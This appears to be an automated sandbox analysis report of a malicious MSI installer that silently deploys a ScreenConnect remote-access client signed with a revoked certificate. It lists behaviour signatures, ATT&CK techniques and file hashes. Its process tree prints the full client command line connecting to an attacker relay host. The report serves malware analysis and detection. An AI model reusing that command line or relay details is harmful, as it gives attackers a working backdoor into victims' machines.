Overview

overview

8

Static

static

3

0e38556099...04.msi

windows10-2004-x64

8

0e38556099...04.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/10/2026, 23:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    0e38556099f10acb59a46f5876dedaa2d8aac0cad7d65f02d900a3275f74e604.msi
  • Size 12.8MB
  • Sample261004-3khnmayhrb
  • SHA256 0e38556099f10acb59a46f5876dedaa2d8aac0cad7d65f02d900a3275f74e604
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0e38556099f10acb59a46f5876dedaa2d8aac0cad7d65f02d900a3275f74e604.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1292
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 440B88CC27FA45A1B470DD120A8FE986 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4320
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3380
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4484
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 02855E025EE6AD66FB314328CC527D7C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5812
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8BC318717DD9A9D00B4E4BC77330437B E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2552
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4328
    • C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.goruf.top&p=8041&s=1470a57b-4782-400f-92d5-15b5acda097b&k=BgIAAACkAABSU0ExAAgAAAEAAQDlMVYVKWOcQL99eIUDJV4aEg3TGgLHhZt%2fgh38WZ0bdfhxGDzjCdAQAf2VRCnKgm6%2bJHxRJo2M5PA9fR6EhTrFJ8By1VmuAI%2b6bHDMGYVd0gMUGskGE2knjdX4Z1WT9B030QcB5a03FJyDu8rv1UCD%2f2OPmc98qOTd781Mmxw3W%2fJRnr5REPbXjd2eszsGSfabIC0%2bPieYWjbaDXW%2ft1ztuK%2beY9BcLfs8iPLi0m1LKr0Lh5FHwvqBBTD90UmZoXao32Pn9nYd4LqFI9Rma6RssNITRJfaUMTy9xXrxh2cs6xX2RnUqtjDoRK%2fyxgWZBmclnnywrGtV84PgZMozVDV"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe" "RunRole" "8c4ab8a8-1c38-41d3-90cf-e60b3a175527" "User"
        2⤵
        • Executes dropped EXE
        PID:5892
      • C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe" "RunRole" "ec157276-9dcb-4e32-8a46-b05f71d01be8" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4692

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596912.rbs
          • Path C:\Config.Msi\e596912.rbs
          • Size 214KB
          • SHA256 bcda33df6801f08acfb06e914c039f86fe54ed0e88594ad5d627c945249dd345
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\Client.Override.en-US.resources
          • Size 321B
          • SHA256 c2a882cf2f8fe6c1759eddb5c99f59aba090436dbfc2012d6a90c25018348c06
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\Client.Override.resources
          • Size 42KB
          • SHA256 abacb23ffb42a8056cdb7316e077dd27e8fc4825dee36b49b335ad5afc9c9a4f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\Client.resources
          • Size 12KB
          • SHA256 088c1af57202603afe090c684a36d37ca665500a50542165bfd8fec8febb01ef
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 032450cd037d9e0eec49e0b4ff44073d539775633fb4af6fd76d4cb19116aac9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 d17cf13612039f6a4ca17b56c32399ccbe279a499c8d2f8e910b1fd6f4fff2b1
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 e54963cb63c9e471e2d3d59e55e4c7aeedccafdd616b99c4b3af230608e4bcc9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe
          • Size 584KB
          • SHA256 316bbf433f1f803d113adf060c528ccc636656cee26b90f5fea011c1c73c7d16
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (2196d6476d22cf8b)\system.config
          • Size 939B
          • SHA256 9ff78012cd4576c00a6d679619dbf32049dc75d8e41178dd75017ecad44830ec
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI1B00.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp
          • Size 1.1MB
          • SHA256 4da6c507c746cd07ca4546e723d0d145bbf4d26ff8de13f1a0750ef323a89a2e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp-\ScreenConnect.Core.dll
          • Size 533KB
          • SHA256 a843b3a4549c43ef5bd8470cacf5d2f0f3b3c8110441fcc10079facc7db3de29
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 588d3a5e1b91d3756f74ea61c9c1b5f7871af924fab469cebb579f8aeb2fc135
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1B00.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 a1edd67a131505cc84d76601474c53874a56b5437b835838e4a866e20f6cd264
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI6EFD.tmp
          • Path C:\Windows\Installer\MSI6EFD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e596913.msi
          • Path C:\Windows\Installer\e596913.msi
          • Size 12.8MB
          • SHA256 0e38556099f10acb59a46f5876dedaa2d8aac0cad7d65f02d900a3275f74e604
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 2491f5a0364da24139f499512fe573efb7f0dcc53bce5ac1fc08306509f490ad
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {d6089a68-0563-45e1-b5ca-ac01a70eab49}_OnDiskSnapshotProp
          • Path \??\Volume{8a43e30d-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d6089a68-0563-45e1-b5ca-ac01a70eab49}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 1025f0467453f218bc9fefed4f5d3d77b36f8026eb5ca9c28f91f1647dd2f192
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1532-104-0x00000000045D0000-0x0000000004611000-memory.dmp
          Download

          memory/1532-106-0x0000000004A30000-0x0000000004B02000-memory.dmp
          Download

          memory/1532-102-0x0000000004840000-0x00000000048D2000-memory.dmp
          Download

          memory/1532-101-0x0000000004590000-0x00000000045C6000-memory.dmp
          Download

          memory/1532-95-0x0000000004540000-0x0000000004590000-memory.dmp
          Download

          memory/1532-84-0x0000000001D60000-0x0000000001D78000-memory.dmp
          Download

          memory/3380-35-0x00000000060D0000-0x000000000615C000-memory.dmp
          Download

          memory/3380-27-0x0000000005FF0000-0x000000000601E000-memory.dmp
          Download

          memory/3380-31-0x0000000006030000-0x000000000603C000-memory.dmp
          Download

          memory/3380-39-0x0000000006310000-0x00000000064BA000-memory.dmp
          Download

          memory/3380-40-0x0000000006A80000-0x000000000703A000-memory.dmp
          Download

          memory/3956-134-0x000001C421B60000-0x000001C422504000-memory.dmp
          Download

          memory/5892-127-0x000000001AD40000-0x000000001AD76000-memory.dmp
          Download

          memory/5892-126-0x0000000000130000-0x00000000001C6000-memory.dmp
          Download

          memory/5892-128-0x000000001B110000-0x000000001B19C000-memory.dmp
          Download

          memory/5892-129-0x000000001B350000-0x000000001B4FA000-memory.dmp
          Download

          memory/5892-130-0x000000001B500000-0x000000001B688000-memory.dmp
          Download

          memory/5892-131-0x000000001AD00000-0x000000001AD18000-memory.dmp
          Download

          memory/5892-132-0x000000001B080000-0x000000001B098000-memory.dmp
          Download